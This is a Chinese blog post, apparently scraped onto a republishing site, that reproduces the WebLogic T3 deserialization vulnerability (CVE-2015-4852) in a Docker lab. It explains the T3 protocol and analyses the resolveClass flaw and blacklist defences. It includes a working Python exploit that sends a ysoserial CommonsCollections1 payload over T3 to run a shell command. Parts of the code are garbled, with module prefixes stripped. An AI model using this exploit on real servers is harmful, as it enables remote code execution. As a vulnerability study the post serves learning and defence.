weblogic之T3反序列化

weblogic之T3反序列化

2023年7月3日发(作者:)

weblogic之T3反序列化Webloigc的安装JDK安装包下载地址:/technetwork/java/javase/

Weblogic安装包下载地址:/technetwork/middleware/weblogic/downloads/以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:docker build --build-arg JDK_PKG= --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_ -t weblogic12013jdk7u21 .镜像构建完成后,执⾏以下命令运⾏:docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21mkdir ./middlewaredocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib由于我这⾥是12的版本,所以要拉取如下版本的代码和依赖:/u01/app/oracle/middleware/wlserver/modules/u01/app/oracle/middleware/wlserver/u01/app/oracle/middleware/coherence/lib

直接利⽤ IDEA 打开了 wlserver ⽂件夹,将server/lib导⼊项⽬将coherence/lib 导⼊项⽬配置页⾯添加 Remote 然后端⼝修改为 8453debug运⾏,当看到 console 中出现如下那么就说明成功了T3协议什么是T3协议?解释摘抄⾃Weblogic的RMI规范的实现使⽤⼀个专有协议T3。 您可以将T3(和安全T3S)视为坐在http之上的⼀个图层,以公开/允许客户端的JNDI调⽤。通常,T3协议⽤于与WebLogic控制台进⾏交互。T3是⽤于在WebLogic服务器和其他types的Java程序之间传输信息的协议。 WebLogic会跟踪连接到应⽤程序的每个Java虚拟机。 为了将stream量传送到Java虚拟机,WebLogic创build⼀个T3连接。 这种types的连接通过消除⽤于在networking之间进⾏通信的多个协议来最⼤化效率,从⽽使⽤较less的操作系统资源。 ⽤于T3连接的协议还可以提⾼效率并最⼩化数据包⼤⼩,从⽽提⾼传输⽅法的速度。总结⼀下:简⽽⾔之就是WebLogic服务器中的RMI通信使⽤T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据。t3协议能⼲嘛例如,如果Java客户端访问WebLogic Server上的企业Bean和JDBC连接池,则WebLogic Server JVM和客户端JVM之间将build⽴单个networking连接。 可以将EJB和JDBC服务写成就好像它们单独使⽤专⽤networking连接⼀样,因为T3协议隐式地在单个连接上多路复⽤数据包。t3的端⼝t3协议与weblogic的web服务使⽤同⼀个端⼝(默认7001),当你以http协议请求weblogic会使⽤http协议处理,你以t3协议请求就以t3协议处理!T3协议概述RMI通信传输反序列化数据,接收数据后进⾏反序列化,正常RMI通信使⽤的是JRMP协议,⽽在Weblogic的RMI通信中使⽤的是T3协议。T3协议是Weblogic独有的⼀个协议,相⽐于多了⼀些特性。T3协议的特点1:服务端可以持续追踪监控客户端是否存活(⼼跳机制),通常⼼跳的间隔为60秒,服务端在超过240秒未收到⼼跳即判定与客户端的连接丢失。2:通过建⽴⼀次连接可以将全部数据包传输完成,优化了数据包⼤⼩和⽹络消耗。t3协议结构T3协议⾥包含请求包头和请求的主体这两部分内容。请求包头如下:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001发送⼀个请求包的头,看看会返回什么import socketdef T3Test(ip,port): sock = (_INET, _STREAM) t((ip, port)) handshake = "t3 12.2.3nAS:255nHL:19nMS:10000000nn" #请求包的头 l(()) while True: data = (1024) print(())if __name__ == "__main__": ip = "192.168.210.31" port = 7001 T3Test(ip,port)返回内容中包含了版本信息,我的版本信息为12.1.3.0.0⽤wireshark抓包,可以看到HELO标识后⾯会返回版本号信息。请求主体T3协议中传输的都是序列化数据,分为七个部分,第⼀部分就是协议头,也就是t3 12.2.3nAS:255nHL:19nMS:10000000nn借⽤两张图来描述⼀下T3协议包的主要内容,如下:第⼆到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中⼀部分替换成我们的序列化数据就可以了,有两种替换⽅式:1:将weblogic发送的JAVA序列化数据的第⼆到九部分的JAVA序列化数据的任意⼀个替换为恶意的序列化数据。2:将weblogic发送的JAVA序列化数据的第⼀部分与恶意的序列化数据进⾏拼接。复现这⾥可以⽤jdk7u21和cc1两条链,⽤创建⽂件的⽅式来检验反序列化是否成功from os import popenimport struct # 负责⼤⼩端的转换import subprocessfrom sys import stdoutimport socketimport reimport binasciidef generatePayload(gadget,cmd): YSO_PATH = "" popen = (['java','-jar',YSO_PATH,gadget,cmd],stdout=) return ()def T3Exploit(ip,port,payload): sock =(_INET,_STREAM) t((ip,port)) handshake = "t3 12.2.3nAS:255nHL:19nMS:10000000nn" l(()) data = (1024) compile = e("HELO:(.*).") match = l(()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") #return #1.占位保证总长度计算正确 header = binascii.a2b_hex(b"00000000") #2.固定的T3协议头 t3header = binascii.a2b_hex(b"016501ffffffffffffffffea6e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67720000000a700000000a007006") #ic反序列化数据的标志 desflag = binascii.a2b_hex(b"fe010000") #4.跟ysoserial⽣成的payload拼接起来 payload = header + t3header +desflag+ payload #5.计算长度替换掉⽤来占位的字符,也就是前四位 payload = (">I",len(payload)) + payload[4:] (payload)if __name__ == "__main__": ip = "192.168.210.31" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/success" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)查看⼀下dockers⾥的/tmp⽬录,发现成功创建了success⽂件这个poc本质就是把ysoserial⽣成的payload变成t3协议⾥的数据格式。数据包长度包括了⾃⾝长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去T3协议头是固定的,直接硬编码进去就⾏反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial⽣成的序列化数据payload数据包分析wireshark过滤⼀下我们的请求包 == 7001找到刚才发的包我们跟踪tcp流看⼀下:第⼀个数据包是我们发送的请求头,第⼆个数据包是weblogic回复HELO和版本,第三个才是payload数据包。来详细看⼀下第三个数据包,主要有四个组成部分,如下四部分组成如下:1.数据包长度2.T3协议头3.反序列化标志:T3协议中每个反序列化数据包前⾯都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 054.数据CVE-2015-4852漏洞点存在于dMsgAbbrev#readObject⽅法中这⾥是实例了本类中另⼀个类的readObject⽅法,跟进看⼀下:这⾥ServerChannelInputStream继承了ObjectInputStream类,重写了resolveClass⽅法,我们可以看到87⾏,调⽤了⽗类的resolveClass⽅法,实际上就是直接引⽤了⽗类的⽅法,并未重写。等于没有做任何防御,导致漏洞的出现。既然存在反序列化漏洞,我们尝试找到对我们有利的jar包,也就是利⽤链,我这⾥的版本是12.1.3.0.0,查找⼀下module模块下jar包。在weblogic10这个版本中匹配commons字符,有tions_,这个包,我这⾥的版本是weblogic12.1.3.0.0这个版本,并没有匹配出来cc3.2这个包,但是上⾯的payload中⽤ysoserial⽣成的cc1链条可以成功执⾏,我猜测可能是cc3.2封装到了其他jar包中,可能吧,只是个猜测,欢迎⼤佬指点。resolveClass我们来了解⼀下resolveClass这个⽅法。这个⽅法是⼲什么的呢,他是反序列化中解析反序列化数据中获取类名的类。Java程序中类ObjectInputStream的readObject⽅法被⽤来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。如果类描述符是动态代理类,则调⽤resolveProxyClass⽅法来获取本地类。如果不是动态代理类则调⽤resolveClass⽅法来获取本地类。如果⽆法解析该类,则抛出ClassNotFoundException异常。先给出⼀张weblogic原⽣ readObject 内部流程:(此图为引⽤,侵删)上⾯说的类描述符,反序列化是否为代理类,其实也好理解,我们跟进到ObjectInputStream类中,找到resolveClass这个⽅法,在idea中Ctrl+Alt+h,查看谁调⽤了这个类。⼀步步跟进,流程如下:为什么说resolveClass可以防御Java反序列化?resolveClass⽅法的作⽤是从类序列化描述符获取类的Class对象,如果在resolveClass中增加⼀个检查,检查⼀下该类的序列化描述符中记录的类名是否在⿊名单上,如果在⿊名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连⽣成Class对象的机会都没有。机会都没有。结合shiro分析resolveClass⽅法的作⽤是将类的序列化描述符加⼯成该类的Class对象。前⾯分析readObject⽅法的时候,我们得知了shiro就是重写了resolveClass⽅法导致很多利⽤链⽆法使⽤,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么⼀个⽆意间的举动,导致了防御住了⼤部分攻击。⽽在后⾯的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。通过此⽅法,可灵活的设置允许反序列化类的⽩名单,也可设置不允许反序列化类的⿊名单。但反序列化漏洞利⽤⽅法⼀直在不断的被发现,⿊名单需要⼀直更新维护,且未公开的利⽤⽅法⽆法覆盖。/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704/t/10365/post/id/226070/archives/1573/u_15127536/4577028

发布者:admin,转转请注明出处:http://www.yc00.com/web/1688337417a122653.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信